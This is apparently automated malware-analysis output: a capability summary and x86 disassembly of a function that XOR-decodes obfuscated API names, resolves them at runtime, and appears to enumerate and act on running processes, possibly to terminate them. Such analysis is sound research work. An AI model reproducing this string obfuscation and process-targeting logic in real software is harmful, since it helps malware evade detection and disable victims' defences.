Function at 0x407ade
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push 0x2fc
mov eax, 0x4368ce
call fcn.0041db16
mov dword [ebp - 0x29c], ecx
and dword [ebp - 4], 0
lea edi, [ebp - 0x278]
mov esi, str.SEVV_b
xor ecx, ecx
push 0x33
pop ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x35
xor byte [ebp + ecx - 0x278], dl
inc ecx
cmp ecx, 0xd
jl 0x407b0b
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
je 0x407dd8
mov esi, str.rSChKUXYZM_21C
lea edi, [ebp - 0x288]
push 0x33
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x288], dl
inc ecx
cmp ecx, 0xf
jl 0x407b4e
lea eax, [ebp - 0x288]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x407dd8
cmp byte [0x4418af], 0
lea edi, [ebp - 0x134]
push 5
pop ecx
mov esi, 0x44189c
rep movsd dword es:[edi], dword [esi]
je 0x407bae
push 0x33
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x134], dl
inc ecx
cmp ecx, 0x14
jl 0x407b98
lea eax, [ebp - 0x134]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x264], eax
test eax, eax
je 0x407dd8
push 6
pop ecx
mov esi, 0x4418b0
lea edi, [ebp - 0x308]
rep movsd dword es:[edi], dword [esi]
push 0x33
xor ecx, ecx
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x308], dl
inc ecx
cmp ecx, 0x19
jl 0x407be0
lea eax, [ebp - 0x308]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28c], eax
test eax, eax
je 0x407dd8
mov esi, 0x441824
lea edi, [ebp - 0x2c0]
push 0x33
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x2c0], dl
inc ecx
cmp ecx, 0xf
jl 0x407c28
lea eax, [ebp - 0x2c0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x290], eax
test eax, eax
je 0x407dd8
cmp byte [0x441855], 0
lea edi, [ebp - 0x288]
mov esi, str.eDX_IH
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
je 0x407c8e
push 0x33
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x288], dl
inc ecx
cmp ecx, 0xe
jl 0x407c78
lea eax, [ebp - 0x288]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a4], eax
test eax, eax
je 0x407dd8
cmp byte [0x44189b], 0
lea edi, [ebp - 0x2b0]
mov esi, 0x441890
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x407cdc
push 0x33
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x2b0], dl
inc ecx
cmp ecx, 0xc
jl 0x407cc6
lea eax, [ebp - 0x2b0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x294], eax
test eax, eax
je 0x407dd8
mov esi, str.aSEUPTZHXnM__07E
lea edi, [ebp - 0x2d4]
push 0x33
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x2d4], dl
inc ecx
cmp ecx, 0x11
jl 0x407d0d
lea eax, [ebp - 0x2d4]
push eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call ebx
mov dword [ebp - 0x2a0], eax
test eax, eax
je 0x407dd8
cmp byte [0x44193d], 0
lea edi, [ebp - 0x278]
mov esi, str.EEVHP
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
je 0x407d74
push 0x33
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x278], dl
inc ecx
cmp ecx, 0xa
jl 0x407d5e
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x268], eax
test eax, eax
je 0x407dd8
push 5
pop ecx
mov esi, str.rSCuVNPXxV___f__
lea edi, [ebp - 0x2ec]
rep movsd dword es:[edi], dword [esi]
push 0x33
xor ecx, ecx
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x2ec], dl
inc ecx
cmp ecx, 0x15
jl 0x407da1
mov esi, dword [ebp - 0x268]
lea eax, [ebp - 0x2ec]
push eax
push esi
call ebx
mov dword [ebp - 0x298], eax
test eax, eax
jne 0x407dde
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call fcn.0041da68
ret
call dword [ebp - 0x264]
push 0
push 2
mov dword [ebp - 0x264], eax
call dword [ebp - 0x28c]
mov ebx, eax
mov dword [ebp - 0x260], 0x128
lea eax, [ebp - 0x260]
push eax
push ebx
call dword [ebp - 0x290]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x407ed4
mov eax, dword [ebp - 0x264]
cmp dword [ebp - 0x258], eax
je 0x407eb8
push dword [ebp - 0x258]
push 0
push 0x411
call dword [ebp - 0x294]
mov esi, eax
test esi, esi
je 0x407eb2
push 0x104
lea eax, [ebp - 0x120]
push eax
push 0
push esi
call dword [ebp - 0x298]
test eax, eax
je 0x407ead
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x138]
call fcn.00404163
mov edx, dword [ebp - 0x29c]
lea ecx, [ebp - 0x138]
mov byte [ebp - 4], 1
call fcn.0040909d
test al, al
je 0x407e9e
push 0
push esi
call dword [ebp - 0x2a0]
test eax, eax
jne 0x407e9e
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x138]
mov byte [ebp - 4], 0
call fcn.004026b1
push esi
call edi
jmp 0x407eb8
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x260]
push eax
push ebx
call dword [ebp - 0x2a4]
test eax, eax
jne 0x407e1c
mov esi, dword [ebp - 0x268]
push ebx
call edi
jmp 0x407dd1